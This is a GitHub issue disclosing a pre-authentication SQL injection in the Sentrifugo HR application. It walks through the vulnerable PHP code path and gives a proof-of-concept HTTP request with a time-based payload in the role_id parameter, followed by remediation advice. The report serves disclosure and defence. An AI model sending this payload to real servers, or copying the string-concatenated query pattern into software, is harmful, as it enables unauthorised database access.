Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Pre-authenticated SQL injection #383

Open
nhienit2010 opened this issue Mar 8, 2023 · 0 comments
Open

Pre-authenticated SQL injection #383

nhienit2010 opened this issue Mar 8, 2023 · 0 comments

Comments

@nhienit2010
Copy link

Bug: Pre-authenticated SQL injection

Description

In the Privileges::getObjPrivileges function, there is a SQL injection vulnerability due to not sanitizing the input data (groupId and role_id variables) leading to the attacker being able to manipulate the query, and especially the attacker can access this function without authentication through ServicesController.

Vulnerability Detail

The vulnerable code occurs at /application/modules/default/models/Privileges.php#Line65, the attacker can control the variable role_id and this variable is inserted directly into the query.

/* /application/modules/default/models/Privileges.php */
public function getObjPrivileges($objId,$groupId = "",$role_id,$idCsv=0)
	{
		$privilege_arr=array();
		$db = Zend_Db_Table::getDefaultAdapter();
        if($objId !="" && $role_id != "" && $idCsv == 0)
		{
			$query = "select addpermission,editpermission,deletepermission,viewpermission,uploadattachments,viewattachments,isactive from main_privileges where isactive = 1  and object =".$objId." and role =".$role_id;
			$result = $db->query($query);
			$privilege_arr = $result->fetch();
			
			
		}
  ...
   

to reach to vulnerable code, we can leverage ServicesController to perform getAction

/* /application/modules/services/controllers/IndexController.php */
public function getAction() 
	{
            $paramsarray = $this->getRequest ()->getParams();
		//echo "<pre>";print_r($paramsarray);exit;
		$servicetocall = $paramsarray['service'];

		if (isset($paramsarray['service']) && $paramsarray['service'] != '') 
		{
		    //$servicesModel = new Services_Model_Services();
			$result = $this->$servicetocall($paramsarray);
			//$result = $servicesModel->$servicetocall($paramsarray);
		    $this->getResponse ()->setHttpResponseCode ( 200 );
		} 			
		else 
		{
			$result= new sapp_ErrorCode('no parameters!');
			//prevent the service is not found.
			$this->getResponse ()->setHttpResponseCode ( 200 );
		}
       	//echo "<pre>";print_r($result);exit;	
		$this->_handleStruct( $result );
		
	}
...

take advantage of getAction to call any function available in the controller, here specifically we will call the leaverequest function to further call the sapp_Global::_check_menu_access function

/* /application/modules/services/controllers/IndexController.php */
public function leaverequest($params_arr)
        {
            $result = array();
			$status = 0;
			$message = "No data found.";
			$messagearray = array();
			
            if(isset($params_arr['role_id']) && $params_arr['role_id'] != '' && isset($params_arr['group_id']) && $params_arr['group_id'] != '')
            {
                $role_id = $params_arr['role_id'];
                $group_id = $params_arr['group_id'];
              
                
                $privilege_flag = sapp_Global::_check_menu_access(LEAVEREQUEST,$group_id,$role_id);
                if($privilege_flag == 'Yes')
                  ...

in the function _check_menu_access will directly call the function getObjPrivileges with the groupId and roleId parameters passed directly and manipulated by the attacker.

/* /application/modules/default/library/sapp/Global.php */ 
public static function _check_menu_access($objectId,$groupId='',$roleId)
        {            
            $privilege_model = new Default_Model_Privileges();
            $privilegesofObj = $privilege_model->getObjPrivileges($objectId,$groupId,$roleId);

Proof of concept

REQUEST:

POST /sentrifugo/index.php/services/index/get HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: PHPSESSID=4c6885df75ee21adc859130d344ad10e;


_method=get&service=leaverequest&role_id=if(1,sleep(1),0)&group_id=2

To demonstrate here we use a simple query that if the condition is true, the server will be delayed for some time, if the condition is false, it will receive an immediate response.

Screenshot 2023-03-08 at 11 46 22
image-20230308115021229

Solution

  • Sanitize and bind data from user input before inserting into the query.
  • Use some available frameworks.
  • Use prepared statement instead of traditional string concatenation.

Acknowledgement

nhienit at bl4ckh0l3 from Galaxy One

@nhienit2010 nhienit2010 changed the title Security issue Pre-authenticated SQL injection Mar 8, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant